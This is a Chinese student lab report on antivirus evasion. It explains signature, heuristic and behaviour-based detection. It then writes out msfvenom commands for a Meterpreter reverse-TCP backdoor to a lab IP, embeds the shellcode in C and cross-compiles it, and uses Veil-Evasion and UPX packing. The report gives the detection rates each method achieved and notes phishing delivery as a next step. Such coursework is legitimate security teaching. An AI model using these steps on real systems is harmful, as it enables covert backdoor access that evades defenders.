Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。
②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。
③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。
(2)免杀是做什么?
免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。
(3)免杀的基本方法有哪些?
1、改变特征码:
如果是类似exe的可执行文件可以加壳,例如压缩壳
如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件
如果是源代码可以用其他语言进行重写再编译(veil-evasion)
2、改变行为:
通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3、非常规方法:
①使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
②使用社工类攻击,诱骗目标关闭AV软件。
③纯手工打造一个恶意软件。
二、实验步骤
使用Msfvenom编码器 使用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.132 PORT=4323 -f exe > HuBingYuan_backdoor.exe 生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:
1.首先生成一个后门,按照上次实验的规定生成:
2.首先被自己的杀毒软件所拦截,都没信心传到网上了:
3.可疑度飙升
4.结果:
可以发现检测率有48%,说明裸后门文件被发现的可能性还是挺高的。于是试试多次编码后会不会降低被检测率。答案是不会的。
使用Veil-Evasion
veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。
安装完成后自动进入 veil (下次想调用,输入 veil 即可)。
list 指令可以查看可使用的工具,选择 evasion (或者直接输入 use evasion )
1.首先是下载。我花了数小时去考虑软件如何下载。但是我发现虚拟机出问题,所以把别人的虚拟机copy过来了。安装:
2.输入veil
3.输入 use evasion
4.输入list
5.使用 use 指令选择一个工具,这里我选择了8号,然后设置一下 LHOST和 LPORT ,输入generate 生成 exe 文件,命名一下就顺利生成文件。
6.生成完成后去那个目录把文件复制到windows上检测。 文件位置:
7.检测率下降了挺多,只有15%了,然而还是会被腾讯管家扫出来。说明腾讯管家比较好。
检测效果:
C语言调用Shellcode
输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.132 LPORT=4323 -f c 生成一个c语言格式的Shellcode数组
Linux平台交叉编译Windows应用
将生成部分复制,粘贴到自己创建的一个c格式文件中,添加一个main函数保存退出。
使用指令 i686-w64-mingw32-g++ HBY.c -o HBY.exe 将创建的c格式文件转化为64位windows系统下的exe文件。
复制到windows系统下,自己创建一个c文件编译并运行,将复制的 HBY.exe 替换掉其中的exe文件编译并运行,最后的这个exe文件就是我们的后门文件了。在Linux里用MSF监听,成功回连。
我的腾讯管家首先拦截。
放到网站上扫描,效果还不错,没几个检测的出来。
测试回连也成功。
加壳
压缩壳UPX
直接用upx将MSF直接生成的文件加壳。
上传到virscan扫描。
首先被检测出来。
网站扫描结果:
效果并不理想。
三、离实战还缺些什么技术或步骤?
1. 如何让别人自动下载运行这个文件。特别是远程的。
2. 如何把后门程序伪装,用来钓鱼。
四、实验心得与体会
这次实验我在linux环境下使用veil-evasion对文件进行了处理,效果还不错。这次用免杀的时候我抱着试一试的心态,因为传到网站上面的文件都会被加入病毒库。后来我发现我再次上传同一个文件的时候,被发现是同一个文件,直接不用扫描就给出了上次的结果。我发现自己生成了一个错误的文件传到网上去,找到了同样的文件,估计是第一次做这个实验做失败的同学传上去的。所以自己做木马的时候不能传到网上去,加到病毒库就糟了。当然自己不能做木马去恶意攻击别人的电脑,这是一种违法的行为,是一种极不道德的行为,为了公务或者国家安全等事业另当别论。我做实验主要是搞清楚原理。然后我在电脑上安装veil-evasion的时候刚开始安装错误,为了这个问题花了很多时间去考虑,最后还是选择拷贝别人的虚拟机。这给我的启示是要多问同学,多请教,自己一直钻牛角尖不会有好结果。免杀是一个重要的环节,如果不能免杀,做的后门再好,别人电脑安了杀毒软件就没办法了。所以这次实验收获很大。